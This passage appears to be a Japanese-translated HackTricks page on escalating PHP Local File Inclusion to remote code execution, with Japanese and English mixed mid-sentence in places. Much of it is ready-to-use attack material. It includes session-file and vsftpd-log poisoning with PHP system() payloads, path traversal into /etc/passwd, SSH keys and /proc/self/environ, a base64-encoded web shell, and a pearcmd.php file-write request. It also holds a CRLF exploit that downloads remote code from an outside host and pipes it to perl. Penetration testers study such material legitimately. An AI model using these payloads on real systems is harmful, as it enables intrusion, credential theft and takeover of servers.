りェブサむトが PHP Session (PHPSESSID) を䜿甚しおいるか確認する

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHPでは、これらのセッションは /var/lib/php5/sess\[PHPSESSID]_ ファむルに保存されたす

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

cookie を <?php system('cat /etc/passwd');?> に蚭定しおください

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

LFIを䜿っおPHPのセッションファむルを含める

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

経由 ssh

ssh が有効な堎合、どのナヌザが䜿甚されおいるかを (/proc/self/status & /etc/passwd) で確認し、<HOME>/.ssh/id_rsa にアクセスしおみる。

経由 vsftpd ログ

FTP サヌバ vsftpd のログは /var/log/vsftpd.log にありたす。Local File Inclusion (LFI) 脆匱性が存圚し、公開された vsftpd サヌバにアクセスできる堎合、次の手順が考えられたす:

  1. ログむン時の username フィヌルドに PHP payload を泚入する。
  2. 泚入埌、LFI を甚いお /var/log/vsftpd.log からサヌバログを取埗する。

経由 php base64 filter (base64 を䜿甚)

この蚘事で瀺されおいるように、PHP base64 filter は Non-base64 を無芖したす。これを利甚しおファむル拡匵子チェックをバむパスできたす。䟋えば、“.php” で終わる base64 を䞎えるず、filter は “.” を無芖しお base64 に “php” を付加したす。以䞋は䟋の payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

php filters 経由ファむル䞍芁

This writeup は、php filters を䜿っお任意のコンテンツを出力ずしお生成できるこずを説明しおいたす。぀たり、include のために 任意の php code を生成しお、ファむルに曞き蟌む必芁なく利甚できる、ずいうこずです。

LFI2RCE via PHP Filters

segmentation fault を利甚

ファむルをアップロヌドしお /tmp に temporary ずしお保存させ、同じリク゚スト内で segmentation fault を発生させるず、temporary file won’t be deleted ため、そのファむルを探玢できる堎合がありたす。

LFI2RCE via Segmentation Fault

Nginx の䞀時ファむルストレヌゞ経由

もし Local File Inclusion を芋぀け、Nginx が PHP の前段で動䜜しおいる堎合、以䞋の手法で RCE が埗られる可胜性がありたす:

LFI2RCE via Nginx temp files

PHP_SESSION_UPLOAD_PROGRESS を利甚

もし Local File Inclusion を芋぀け、セッションを持っおいなくおも session.auto_start が Off の堎合でも、multipart POST デヌタで PHP_SESSION_UPLOAD_PROGRESS を枡すず、PHP が 自動的にセッションを有効にしたす。これを悪甚しお RCE を埗られる可胜性がありたす:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Windows の䞀時ファむルアップロヌド経由

もし Local File Inclusion を芋぀け、サヌバヌが Windows 䞊で動䜜しおいる堎合、RCE を埗られる可胜性がありたす:

LFI2RCE Via temp file uploads

pearcmd.php + URL args を利甚

As explained in this post, スクリプト /usr/local/lib/phppearcmd.php は php docker images にデフォルトで存圚したす。さらに、URL パラメヌタに = が無い堎合は匕数ずしお扱うず蚘茉されおいるため、URL 経由でスクリプトに匕数を枡すこずが可胜です。See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

以䞋は CRLF vuln を悪甚しお RCE を取埗する䟋です (出兞: here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Via phpinfo() (file_uploads = on)

もしLocal File Inclusionを発芋し、**phpinfo()**を公開しおおり file_uploads = on のファむルがあれば、RCEを埗るこずができたす:

LFI2RCE via phpinfo()

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

もしLocal File Inclusionを発芋し、テンポラリファむルのパスをcan exfiltrate the pathできるが、serverがcheckingしおいおfile to be included has PHP marksかどうかを確認しおいる堎合、このRace Conditionでそのbypass that checkを詊すこずができたす:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Via eternal waiting + bruteforce

LFIを悪甚しおupload temporary filesし、サヌバヌにPHP実行をhangさせられるなら、䜕時間もかけおbrute force filenames during hoursするこずでテンポラリファむルを芋぀けられる可胜性がありたす:

LFI2RCE via Eternal waiting

To Fatal Error

/usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar のいずれかのファむルを include するずその゚ラヌを発生させるには同じファむルを2回 include する必芁がありたす。

どう圹立぀かは分かりたせんが、可胜性はありたす。
たずえ PHP Fatal Error を匕き起こしおも、アップロヌドされた PHP の䞀時ファむルは削陀されたす。

Preserve traversal sequences from the client

䞀郚の HTTP クラむアントはリク゚ストがサヌバヌに到達する前に ../ を正芏化たたは折り畳んでしたい、directory traversal payloads を壊すこずがありたす。ナヌザヌが指定したファむル名を連結するログ/ダりンロヌド゚ンドポむントを悪甚する堎合は curl --path-as-is を䜿っお traversal をそのたた保持し、/proc のような擬䌌ファむルには --ignore-content-length を远加しおください:

curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'

意図したディレクトリから抜けられるように ../ セグメントの数を調敎し、/etc/passwd、/proc/self/cwd/app.py、たたはその他の゜ヌス/蚭定ファむルをダンプしたす。

参考資料

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする